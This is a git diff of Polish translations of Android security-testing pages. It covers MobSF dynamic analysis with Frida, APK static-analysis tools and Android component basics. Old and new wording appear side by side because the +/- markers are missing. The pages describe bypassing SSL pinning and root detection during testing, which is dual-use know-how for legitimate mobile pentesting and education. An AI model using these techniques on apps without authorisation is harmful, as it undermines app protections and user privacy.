Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie w stanie go przeanalizować.
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie mogło to analizować.
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
MobSF pozwala również na **diff/Compare** analizy oraz integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
### Wspomagana analiza dynamiczna z MobSF
@ -534,11 +534,11 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
- Przechwytywać **ruch HTTPS**
- Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
**Frida**
Domyślnie będzie również używać niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
@ -550,7 +550,7 @@ Ponadto masz kilka dodatkowych funkcji Frida:
- **Enumerate Loaded Classes**: Wydrukuje wszystkie załadowane klasy
- **Capture Strings**: Wydrukuje wszystkie przechwycone ciągi podczas korzystania z aplikacji (bardzo hałaśliwe)
- **Capture String Comparisons**: Może być bardzo przydatne. Pokaże **2 porównywane ciągi** i czy wynik był prawdziwy czy fałszywy.
- **Capture String Comparisons**: Może być bardzo przydatne. **Pokaże 2 porównywane ciągi** i czy wynik był prawdziwy czy fałszywy.
- **Enumerate Class Methods**: Podaj nazwę klasy (np. "java.io.File") i wydrukuje wszystkie metody klasy.
- **Search Class Pattern**: Wyszukaj klasy według wzoru
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
@ -559,7 +559,7 @@ Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Sta
**Shell**
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
Mobsf oferuje również powłokę z niektórymi **adb** komendami, **komendami MobSF** i powszechnymi **komendami** **powłoki** na dole strony analizy dynamicznej. Niektóre interesujące komendy:
```bash
help
shell ls
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
Wszystkie reguły są skupione w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Wszystkie reguły są zdefiniowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
```
@ -631,13 +631,13 @@ StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowc
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hackerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
Może:
@ -702,7 +702,7 @@ Możesz przesłać obfuskowane APK na ich platformę.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Gemini od Google'a.
To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowej. Używa publicznego API Gemini od Google'a.
### [Simplify](https://github.com/CalebFenton/simplify)
@ -710,7 +710,7 @@ To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikacj
### [APKiD](https://github.com/rednaga/APKiD)
APKiD dostarcza informacji o **tym, jak stworzono APK**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
APKiD dostarcza informacji o **tym, jak APK zostało stworzone**. Identyfikuje wiele **kompilatorów**, **packerów**, **obfuskatorów** i innych dziwnych rzeczy. To [_PEiD_](https://www.aldeid.com/wiki/PEiD) dla Androida.
### Manual

View File

@ -1,4 +1,4 @@
# Podstawy aplikacji Android
# Podstawy aplikacji na Androida
{{#include ../../banners/hacktricks-training.md}}
@ -7,11 +7,11 @@
**Istnieją dwie warstwy:**
- **OS**, który utrzymuje zainstalowane aplikacje w izolacji od siebie.
- **aplikacja sama w sobie**, która pozwala deweloperom na **ujawnienie pewnych funkcjonalności** i konfiguruje możliwości aplikacji.
- **aplikacja sama w sobie**, która pozwala deweloperom na **ujawnienie określonych funkcjonalności** i konfiguruje możliwości aplikacji.
### Separacja UID
**Każdej aplikacji przypisany jest specyficzny identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub współdzielonymi** plikami. Dlatego tylko sama aplikacja, niektóre komponenty OS i użytkownik root mogą uzyskać dostęp do danych aplikacji.
**Każdej aplikacji przypisany jest konkretny identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub plikami współdzielonymi**. Dlatego tylko sama aplikacja, niektóre komponenty OS i użytkownik root mogą uzyskać dostęp do danych aplikacji.
### Współdzielenie UID
@ -26,7 +26,7 @@ Od Androida 5.0(L) **SELinux** jest egzekwowany. Zasadniczo, SELinux odmawia wsz
### Uprawnienia
Kiedy instalujesz **aplikację i prosi o uprawnienia**, aplikacja prosi o uprawnienia skonfigurowane w elementach **`uses-permission`** w pliku **AndroidManifest.xml**. Element **uses-permission** wskazuje nazwę żądanego uprawnienia w **atrybucie name**. Ma również atrybut **maxSdkVersion**, który przestaje prosić o uprawnienia w wersjach wyższych niż ta określona.\
Zauważ, że aplikacje androidowe nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
Należy zauważyć, że aplikacje androidowe nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
Kiedy aplikacja ujawnia funkcjonalność, może ograniczyć **dostęp tylko do aplikacji, które mają określone uprawnienie**.\
Element uprawnienia ma trzy atrybuty:
@ -55,14 +55,14 @@ Gdy exploit zadziała, zazwyczaj binarny plik Linux `su` jest kopiowany do lokal
Gdy binarny plik su jest skonfigurowany, używana jest inna aplikacja Android do interakcji z binarnym plikiem `su` i **przetwarzania żądań dostępu root**, takich jak **Superuser** i **SuperSU** (dostępne w sklepie Google Play).
> [!OSTRZEŻENIE]
> Zauważ, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie.
> Należy pamiętać, że proces rootowania jest bardzo niebezpieczny i może poważnie uszkodzić urządzenie.
### ROMy
### ROM-y
Możliwe jest **zastąpienie systemu operacyjnego instalując niestandardowe oprogramowanie**. Dzięki temu można wydłużyć użyteczność starego urządzenia, obejść ograniczenia oprogramowania lub uzyskać dostęp do najnowszego kodu Androida.\
**OmniROM** i **LineageOS** to dwa z najpopularniejszych oprogramowań do użycia.
Zauważ, że **nie zawsze jest konieczne rootowanie urządzenia**, aby zainstalować niestandardowe oprogramowanie. **Niektórzy producenci pozwalają** na odblokowanie swoich bootloaderów w dobrze udokumentowany i bezpieczny sposób.
Należy zauważyć, że **nie zawsze jest konieczne rootowanie urządzenia**, aby zainstalować niestandardowe oprogramowanie. **Niektórzy producenci pozwalają** na odblokowanie swoich bootloaderów w dobrze udokumentowany i bezpieczny sposób.
### Implikacje
@ -87,7 +87,7 @@ Gdy urządzenie jest zrootowane, każda aplikacja może żądać dostępu jako r
- `x86`: kod dla procesorów X86
- `mips`: kod tylko dla procesorów MIPS
- assets/
- Przechowuje różne pliki potrzebne aplikacji, potencjalnie w tym dodatkowe biblioteki natywne lub pliki DEX, czasami używane przez autorów złośliwego oprogramowania do ukrywania dodatkowego kodu.
- Przechowuje różne pliki potrzebne przez aplikację, potencjalnie w tym dodatkowe biblioteki natywne lub pliki DEX, czasami używane przez autorów złośliwego oprogramowania do ukrywania dodatkowego kodu.
- res/
- Zawiera zasoby, które nie są skompilowane w resources.arsc.
@ -95,11 +95,11 @@ Gdy urządzenie jest zrootowane, każda aplikacja może żądać dostępu jako r
W rozwoju Androida, **Java lub Kotlin** jest używane do tworzenia aplikacji. Zamiast używać JVM jak w aplikacjach desktopowych, Android kompiluje ten kod do **bajtkodu Dalvik Executable (DEX)**. Wcześniej, maszyna wirtualna Dalvik obsługiwała ten bajtkod, ale teraz, w nowszych wersjach Androida, przejmuje go Android Runtime (ART).
Dla inżynierii odwrotnej, **Smali** staje się kluczowe. To czytelna dla człowieka wersja bajtkodu DEX, działająca jak język asemblera, tłumacząc kod źródłowy na instrukcje bajtkodu. Smali i baksmali odnoszą się do narzędzi asemblera i deasemblacji w tym kontekście.
Dla inżynierii wstecznej, **Smali** staje się kluczowe. To czytelna dla człowieka wersja bajtkodu DEX, działająca jak język asemblera, tłumacząc kod źródłowy na instrukcje bajtkodu. Smali i baksmali odnoszą się do narzędzi asemblera i deasemblacji w tym kontekście.
## Intencje
Intencje są głównym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST w komunikacji HTTP.
Intencje są głównym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST są używane w komunikacji HTTP.
Tak więc intencja to zasadniczo **wiadomość, która jest przekazywana między komponentami**. Intencje **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez konkretnego odbiorcy**.\
Aby uprościć, intencja może być używana:
@ -118,9 +118,9 @@ Jeśli są podatne, **intencje mogą być używane do przeprowadzania różnych
Filtry intencji składają się z kategorii, akcji i filtrów danych, z możliwością dodania dodatkowych metadanych. Ta konfiguracja pozwala komponentom obsługiwać konkretne intencje, które pasują do zadeklarowanych kryteriów.
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego w manifeście zadeklarowano filtr intencji. Jednak istnieje sposób, aby deweloperzy wyraźnie utrzymali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego w manifeście zadeklarowano filtr intencji. Istnieje jednak sposób, aby deweloperzy wyraźnie utrzymali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
Ponadto, deweloperzy mają możliwość dodatkowego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim interagować.
Ponadto, deweloperzy mają możliwość dalszego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim interagować.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -132,7 +132,7 @@ Intencje są programowo tworzone za pomocą konstruktora Intent:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Akcja** wcześniej zadeklarowanego zamiaru to **ACTION_SEND**, a **Dodatkowe** to mailto **Uri** (Dodatkowe to dodatkowe informacje, których oczekuje zamiar).
**Akcja** wcześniej zadeklarowanego zamiaru to **ACTION_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których oczekuje zamiar).
Ten zamiar powinien być zadeklarowany w manifeście, jak w poniższym przykładzie:
```xml
@ -145,7 +145,7 @@ Ten zamiar powinien być zadeklarowany w manifeście, jak w poniższym przykład
```
Filtr intencji musi pasować do **akcji**, **danych** i **kategorii**, aby odebrać wiadomość.
Proces "rozwiązywania intencji" określa, która aplikacja powinna odebrać każdą wiadomość. Proces ten uwzględnia **atrybut priorytetu**, który można ustawić w **deklaracji filtru intencji**, a **ten z wyższym priorytetem zostanie wybrany**. Ten priorytet można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli wystąpi **konflikt**, pojawia się okno "wyboru", aby **użytkownik mógł zdecydować**.
Proces "rozwiązywania intencji" określa, która aplikacja powinna odebrać każdą wiadomość. Proces ten uwzględnia **atrybut priorytetu**, który można ustawić w **deklaracji filtru intencji**, a **ten z wyższym priorytetem zostanie wybrany**. Priorytet można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli wystąpi **konflikt**, pojawia się okno "wyboru", aby **użytkownik mógł zdecydować**.
### Wyraźne intencje
@ -169,13 +169,16 @@ W przeciwieństwie do poprzednich intencji, które są odbierane tylko przez jed
Alternatywnie, możliwe jest również **określenie uprawnienia podczas wysyłania broadcastu**. Aplikacja odbierająca będzie musiała mieć to uprawnienie.
Są **dwa typy** broadcastów: **Normalne** (asynchroniczne) i **Zamówione** (synchronizowane). **Kolejność** opiera się na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać broadcast.**
Istnieją **dwa typy** broadcastów: **Normalne** (asynchroniczne) i **Zamówione** (synchronizowane). **Kolejność** opiera się na **skonfigurowanym priorytecie w elemencie odbiorcy**. **Każda aplikacja może przetwarzać, przekazywać lub odrzucać broadcast.**
Możliwe jest **wysłanie** **broadcastu** za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\ Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, co zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Używając tego, nie będziesz nawet musiał eksportować komponentu odbiorcy.
Możliwe jest **wysłanie** **broadcastu** za pomocą funkcji `sendBroadcast(intent, receiverPermission)` z klasy `Context`.\
Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`**, która zapewnia, że **wiadomość nigdy nie opuści aplikacji**. Używając tego, nie będziesz nawet musiał eksportować komponentu odbiorcy.
### Sticky Broadcasts
Ten rodzaj broadcastów **może być dostępny długo po ich wysłaniu**.\ Zostały one wycofane w poziomie API 21 i zaleca się **nie używać ich**.\ **Pozwalają one każdej aplikacji na podsłuchiwanie danych, ale także na ich modyfikację.**
Ten rodzaj broadcastów **może być dostępny długo po ich wysłaniu**.\
Zostały one wycofane w poziomie API 21 i zaleca się **nie używać ich**.\
**Pozwalają każdej aplikacji na podsłuchiwanie danych, ale także na ich modyfikację.**
Jeśli znajdziesz funkcje zawierające słowo "sticky", takie jak **`sendStickyBroadcast`** lub **`sendStickyBroadcastAsUser`**, **sprawdź wpływ i spróbuj je usunąć**.
@ -195,7 +198,7 @@ Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
</intent-filter>
[...]
```
Schemat z poprzedniego przykładu to `examplescheme://` (zauważ także **`kategoria BROWSABLE`**)
Schemat z poprzedniego przykładu to `examplescheme://` (zauważ również **`kategoria BROWSABLE`**)
Następnie, w polu danych, możesz określić **host** i **ścieżkę**:
```xml
@ -210,7 +213,7 @@ Aby uzyskać do niego dostęp z sieci, można ustawić link jak:
```
Aby znaleźć **kod, który będzie wykonywany w aplikacji**, przejdź do aktywności wywoływanej przez deeplink i poszukaj funkcji **`onNewIntent`**.
Dowiedz się, jak [wywoływać deep linki bez użycia stron HTML](./#exploiting-schemes-deep-links).
Dowiedz się, jak [wywoływać głębokie linki bez użycia stron HTML](#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
@ -218,7 +221,7 @@ Dowiedz się, jak [wywoływać deep linki bez użycia stron HTML](./#exploiting-
### Kluczowe pojęcia
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem przeglądu bezpieczeństwa w poszukiwaniu luk.
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu bezpieczeństwa w poszukiwaniu luk.
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych poprzez metodę `onBind`. Ważne jest, aby dokładnie sprawdzić tę metodę pod kątem niebezpiecznego przetwarzania danych lub wykonywania wrażliwych funkcji.
@ -243,17 +246,17 @@ W aplikacjach Android **aktywności** są jak ekrany, pokazujące różne częś
```
Nie wszystkie aplikacje potrzebują aktywności uruchamiającej, szczególnie te bez interfejsu użytkownika, takie jak usługi w tle.
Aktywności mogą być udostępniane innym aplikacjom lub procesom poprzez oznaczenie ich jako "exported" w manifeście. To ustawienie pozwala innym aplikacjom na uruchomienie tej aktywności:
Aktywności mogą być udostępniane innym aplikacjom lub procesom poprzez oznaczenie ich jako "exported" w manifeście. Ustawienie to pozwala innym aplikacjom na uruchomienie tej aktywności:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko bezpieczeństwa. Obawy pojawiają się, jeśli wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do wycieków informacji.
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko bezpieczeństwa. Problem pojawia się, jeśli wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do wycieków informacji.
Cykl życia aktywności **zaczyna się od metody onCreate**, która ustawia interfejs użytkownika i przygotowuje aktywność do interakcji z użytkownikiem.
### Podklasa Aplikacji
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem reszty aplikacji.
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem działania reszty aplikacji.
```java
public class MyApp extends Application {
@Override
@ -271,11 +274,11 @@ super.onCreate();
```
### Usługi
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet wtedy, gdy użytkownicy przełączają się na inne aplikacje, co sprawia, że usługi są kluczowe dla **długoterminowych operacji**.
[Usługi](https://developer.android.com/guide/components/services) to **operacje w tle**, które mogą wykonywać zadania bez interfejsu użytkownika. Te zadania mogą kontynuować działanie nawet wtedy, gdy użytkownicy przełączają się na różne aplikacje, co sprawia, że usługi są kluczowe dla **długoterminowych operacji**.
Usługi są wszechstronne; mogą być inicjowane na różne sposoby, przy czym **Intents** są główną metodą ich uruchamiania jako punkt wejścia aplikacji. Gdy usługa jest uruchamiana za pomocą metody `startService`, jej metoda `onStart` zaczyna działać i działa aż do momentu, gdy metoda `stopService` zostanie wywołana. Alternatywnie, jeśli rola usługi zależy od aktywnego połączenia z klientem, używa się metody `bindService` do powiązania klienta z usługą, angażując metodę `onBind` do przesyłania danych.
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danych z sieci bez zakłócania interakcji użytkownika z aplikacją. Ponadto, usługi mogą być udostępniane innym procesom na tym samym urządzeniu poprzez **eksportowanie**. Nie jest to domyślne zachowanie i wymaga wyraźnej konfiguracji w pliku Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -283,7 +286,7 @@ Ciekawym zastosowaniem usług jest odtwarzanie muzyki w tle lub pobieranie danyc
**Broadcast receivers** działają jako słuchacze w systemie wiadomości, umożliwiając wielu aplikacjom reagowanie na te same wiadomości z systemu. Aplikacja może **zarejestrować odbiornik** na **dwa główne sposoby**: poprzez **Manifest** aplikacji lub **dynamicznie** w kodzie aplikacji za pomocą API **`registerReceiver`**. W Manifeście, transmisje są filtrowane za pomocą uprawnień, podczas gdy dynamicznie zarejestrowane odbiorniki mogą również określać uprawnienia podczas rejestracji.
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które transmisje uruchamiają odbiornik. Gdy odpowiednia transmisja zostanie wysłana, metoda **`onReceive`** odbiornika jest wywoływana, co umożliwia aplikacji odpowiednią reakcję, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie baterii.
**Filtry intencji** są kluczowe w obu metodach rejestracji, określając, które transmisje uruchamiają odbiornik. Gdy odpowiednia transmisja zostanie wysłana, metoda **`onReceive`** odbiornika jest wywoływana, co umożliwia aplikacji odpowiednią reakcję, na przykład dostosowanie zachowania w odpowiedzi na alert o niskim poziomie naładowania baterii.
Transmisje mogą być **asynchroniczne**, docierając do wszystkich odbiorników bez kolejności, lub **synchronizowane**, gdzie odbiorniki otrzymują transmisję na podstawie ustalonych priorytetów. Ważne jest jednak, aby zauważyć potencjalne ryzyko bezpieczeństwa, ponieważ każda aplikacja może nadać sobie priorytet, aby przechwycić transmisję.
@ -291,7 +294,7 @@ Aby zrozumieć funkcjonalność odbiornika, należy poszukać metody **`onReceiv
### Content Provider
**Content Providers** są niezbędne do **dzielenia się danymi strukturalnymi** między aplikacjami, podkreślając znaczenie wdrażania **uprawnień** w celu zapewnienia bezpieczeństwa danych. Umożliwiają aplikacjom dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub internetu. Specyficzne uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontrolowania dostępu. Dodatkowo, tymczasowy dostęp może być przyznany poprzez ustawienia **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
**Content Providers** są niezbędne do **udostępniania strukturalnych danych** między aplikacjami, podkreślając znaczenie wdrażania **uprawnień** w celu zapewnienia bezpieczeństwa danych. Umożliwiają aplikacjom dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub internetu. Specyficzne uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontrolowania dostępu. Dodatkowo, tymczasowy dostęp może być przyznany za pomocą ustawień **`grantUriPermission`** w manifeście aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
Walidacja danych jest kluczowa, aby zapobiec lukom w zabezpieczeniach, takim jak SQL injection. Content Providers wspierają podstawowe operacje: `insert()`, `update()`, `delete()`, i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
@ -313,25 +316,25 @@ I przykład określania folderów udostępnionych w `filepaths.xml`:
<files-path path="images/" name="myimages" />
</paths>
```
Aby uzyskać więcej informacji, sprawdź:
For further information check:
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
WebViews są jak **mini przeglądarki internetowe** w aplikacjach Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji Android, pobierające treści z sieci lub z lokalnych plików. Stają w obliczu podobnych ryzyk jak zwykłe przeglądarki, jednak istnieją sposoby na **zmniejszenie tych ryzyk** poprzez konkretne **ustawienia**.
Android oferuje dwa główne typy WebView:
- **WebViewClient** jest świetny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na to, jak można testować ataki XSS.
- **WebChromeClient** działa bardziej jak pełne doświadczenie przeglądarki Chrome.
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą się ciasteczkami** z główną przeglądarką urządzenia.
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą ciasteczek** z główną przeglądarką urządzenia.
Do ładowania treści dostępne są metody takie jak `loadUrl`, `loadData` i `loadDataWithBaseURL`. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia bezpieczeństwa można zarządzać za pomocą klasy `WebSettings`. Na przykład, wyłączenie JavaScript za pomocą `setJavaScriptEnabled(false)` może zapobiec atakom XSS.
